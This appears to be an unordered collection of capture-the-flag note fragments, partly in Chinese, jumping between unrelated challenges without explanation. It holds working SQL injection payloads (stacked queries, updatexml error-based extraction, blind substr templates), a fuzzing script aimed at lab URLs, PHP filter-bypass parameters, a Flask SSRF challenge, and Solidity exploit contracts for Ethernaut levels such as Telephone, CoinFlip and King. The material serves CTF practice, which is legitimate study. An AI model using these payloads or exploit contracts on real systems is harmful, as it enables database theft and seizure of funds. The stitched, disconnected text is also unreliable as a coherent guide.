#It\'s an challenge for jaillevel5 let\'s read your flag!\nimport load_flag\n\nflag = load_flag.get_flag()\n\ndef main():\n    WELCOME = \'\'\'\n  _                _                           _       _ _ _                _ _____ \n | |              (_)                         (_)     (_) | |              | | ____|\n | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| | |__  \n | \'_ \\ / _ \\/ _` | | \'_ \\| \'_ \\ / _ \\ \'__|   | |/ _` | | | |/ _ \\ \\ / / _ \\ |___ \\ \n | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\\ V /  __/ |___) |\n |_.__/ \\___|\\__, |_|_| |_|_| |_|\\___|_|      | |\\__,_|_|_|_|\\___| \\_/ \\___|_|____/ \n              __/ |                          _/ |                                   \n             |___/                          |__/                                                                                                                                                                     \n\'\'\'\n    print(WELCOME)\n    print("It\'s so easy challenge!")\n    print("Seems flag into the dir()")\n    repl()\n\n\ndef repl():\n    my_global_dict = dict()\n    my_global_dict[\'my_flag\'] = flag\n    input_code = input("> ")\n    complie_code = compile(input_code, \'<string>\', \'single\')\n    exec(complie_code, my_global_dict)\n\nif __name__ == \'__main__\':\n    main()

select $_GET['query'] || flag from flag

payload1: *,1
payload2: 0;set sql_mode=PIPES_AS_CONCAT;select 0

让sql把 || 当作拼接

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

mysql> show columns from users;
+----------+-------------+------+-----+---------+----------------+
| Field    | Type        | Null | Key | Default | Extra          |
+----------+-------------+------+-----+---------+----------------+
| id       | int(3)      | NO   | PRI | NULL    | auto_increment |
| username | varchar(20) | NO   |     | NULL    |                |
| password | varchar(20) | NO   |     | NULL    |                |
+----------+-------------+------+-----+---------+----------------+
3 rows in set (0.00 sec)

import requests
 
 
url = "http://7e692c90-6f0b-4aa3-babf-89bb436f6b4f.node4.buuoj.cn:81/"
with open('sql-fuzz.txt') as f:
    for line in f:
        data = {"query": line}
        r = requests.post(url,data=data)
        if('Nonono' in r.text):
            print(line.strip(),end=" ")

geekuser: id,username,password   geek库
l0ve1ysq1: id,username,password  geek库

http://0271ebd9-169b-4d78-8475-f6667e20789c.node4.buuoj.cn:81/check.php
?username=admin' and updatexml(1,concat(0x7e,(select substr((select password from l0ve1ysq1 where username='flag'),30,16)),0x7e),1) %23
&password=admin' and sleep(3)

Warning: include(woofers'.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37

Warning: include(): Failed opening 'woofers'.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37

information_schema,cgctf,mysql,performance_schema

pcnumber

id,bigtime,smalltime,flag

GET:
deb%75=aq%75a_is_c%75te%0a
&file=data://text/plain,deb%75_deb%75_aq%75a  //伪协议
&sh%61na[]=1
&p%61sswd[]=2

POST:
debu=1
file=1

File "/app/app.py", line 35, in secret
    if(secret==None):
        return 'Tell me your secret.I will encrypt it so others can\'t see'
    rc=rc4_Modified.RC4("HereIsTreasure")   #解密
    deS=rc.do_crypt(secret)
 
    a=render_template_string(safe(deS))
 
    if 'ciscn' in a.lower():
        return 'flag detected!'
Open an interactive python shell in this frame    ​
        return 

# encoding:utf-8
import re, random, uuid, urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'

@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

mysql> select 1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)

mysql> select 1,2,3;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
1 row in set (0.00 sec)

mysql> select (1>2);
+-------+
| (1>2) |
+-------+
|     0 |
+-------+
1 row in set (0.00 sec)

mysql> select (1<2);
+-------+
| (1<2) |
+-------+
|     1 |
+-------+
1 row in set (0.00 sec)

mysql> select "aaaa";
+------+
| aaaa |
+------+
| aaaa |
+------+
1 row in set (0.00 sec)

mysql> select (1<2) from users;
+-------+
| (1<2) |
+-------+
|     1 |
|     1 |
|     1 |
|     1 |
|     1 |
|     1 |
|     1 |
|     1 |
|     1 |
|     1 |
|     1 |
|     1 |
|     1 |
+-------+
13 rows in set (0.00 sec)

mysql> select (version());
+-------------------------+
| (version())             |
+-------------------------+
| 5.5.44-0ubuntu0.14.04.1 |
+-------------------------+
1 row in set (0.00 sec)

mysql> select concat('a','b','c')
    -> ;
+---------------------+
| concat('a','b','c') |
+---------------------+
| abc                 |
+---------------------+
1 row in set (0.00 sec)

mysql> select concat('a','b','c','null')
    -> ;
+----------------------------+
| concat('a','b','c','null') |
+----------------------------+
| abcnull                    |
+----------------------------+
1 row in set (0.00 sec)

mysql> select concat_ws('#','a','b','c','null')
    -> ;
+-----------------------------------+
| concat_ws('#','a','b','c','null') |
+-----------------------------------+
| a#b#c#null                        |
+-----------------------------------+
1 row in set (0.00 sec)

mysql> select 1,(select group_concat(username) from users); 
+---+---------------------------------------------------------------------------------------------+
| 1 | (select group_concat(username) from users)                                                  |
+---+---------------------------------------------------------------------------------------------+
| 1 | Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4 |
+---+---------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select substr("abcdefg",1,1);
+-----------------------+
| substr("abcdefg",1,1) |
+-----------------------+
| a                     |
+-----------------------+
1 row in set (0.00 sec)

mysql> select substr("abcdefg",1,3);
+-----------------------+
| substr("abcdefg",1,3) |
+-----------------------+
| abc                   |
+-----------------------+
1 row in set (0.00 sec)

mysql> select substr("abcdefg",2,3);
+-----------------------+
| substr("abcdefg",2,3) |
+-----------------------+
| bcd                   |
+-----------------------+
1 row in set (0.00 sec)

mysql> select substr("abcdefg",-2,3);
+------------------------+
| substr("abcdefg",-2,3) |
+------------------------+
| fg                     |
+------------------------+
1 row in set (0.01 sec)

mysql> select substr("abcdefg",-2,1);
+------------------------+
| substr("abcdefg",-2,1) |
+------------------------+
| f                      |
+------------------------+
1 row in set (0.00 sec)

mysql> select substr("abcdefg",-3,2);
+------------------------+
| substr("abcdefg",-3,2) |
+------------------------+
| ef                     |
+------------------------+
1 row in set (0.00 sec)

mysql> select * from users where id='1+1';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set, 1 warning (0.00 sec)

mysql> select * from users where id=1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id="1";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id="1a";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set, 1 warning (0.00 sec)

mysql> select * from users where id="a1";
Empty set (0.00 sec)

mysql> select * from users where id="0x1";
Empty set (0.00 sec)

mysql> select * from users where id=0x1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=+0b01;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=+ 0b01;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
|  1 | 2        | 3        |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql> SELECT * FROM users WHERE id='-1' union select 1,2,3; 
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select ((substr(group_concat((select group_concat(schema_name) from information_schema.schemata)),1,1))=0);
+-----------------------------------------------------------------------------------------------------+
| ((substr(group_concat((select group_concat(schema_name) from information_schema.schemata)),1,1))=0) |
+-----------------------------------------------------------------------------------------------------+
|                                                                                                   1 |
+-----------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

payload = f"1' and ascii(substr((select group_concat(table_name) from information_schema.columns where table_schema=\"security\"),{j},1)) = {k} --+"

payload = f"1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{j},1)) = {k} --+"

#### updatexml()

* `updatexml()`是一个使用不同的xml标记匹配和替换xml块的函数。
* 语法： updatexml（XML_document，XPath_string，new_value） 第一个参数：是string格式，为XML文档对象的名称，文中为Doc 第二个参数：代表路径，Xpath格式的字符串例如//title【@lang】 第三个参数：string格式，替换查找到的符合条件的数据
* updatexml使用时，当xpath_string格式出现错误，mysql则会爆出xpath语法错误（xpath syntax）

这很白痴是吧? 真实世界的合约必须安全的多, 难以入侵的多, 对吧?

实际上... 也未必.

Rubixi的故事在以太坊生态中非常知名. 这个公司把名字从 'Dynamic Pyramid' 改成 'Rubixi' 但是不知道怎么地, 他们没有把合约的 constructor 方法也一起更名:

contract Rubixi {
  address private owner;
  function DynamicPyramid() { owner = msg.sender; }
  function collectAllFees() { owner.transfer(this.balance) }
  ...

这让攻击者可以调用旧合约的constructor 然后获得合约的控制权, 然后再获得一些资产. 是的. 这些重大错误在智能合约的世界是有可能的.

function exp() public returns (bool) {
  uint256 blockValue = uint256(blockhash(block.number.sub(1)));

  if (lastHash == blockValue) {
    revert();
  }

  lastHash = blockValue;
  uint256 coinFlip = blockValue.div(FACTOR);
  bool side = coinFlip == 1 ? true : false;
  c = CoinFlip(targetAddress);
  c.flip(side);
}

pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

pragma solidity ^0.4.11;

interface Telephone {
    function changeOwner(address _owner) external;
}

contract exploit {
    address targetAddr;
    Telephone t;
    address myaddr;

    function setInstance(address _targetAddr,address _myaddr) public {
      targetAddr=_targetAddr;
      myaddr= _myaddr;
    }

    function exp () public {
        t = Telephone(targetAddr);
        t.changeOwner(myaddr);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

有些合约就是拒绝你的付款,就是这么任性 ¯\_(ツ)_/¯

这一关的目标是使合约的余额大于0

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}

contract Attack {

    constructor(address payable target) public payable{
        require(msg.value == 0.15 ether,"Not enough!");
        target.call.gas(1000000).value(0.15 ether)("");
    }

    receive() external payable {
        revert();
    }
}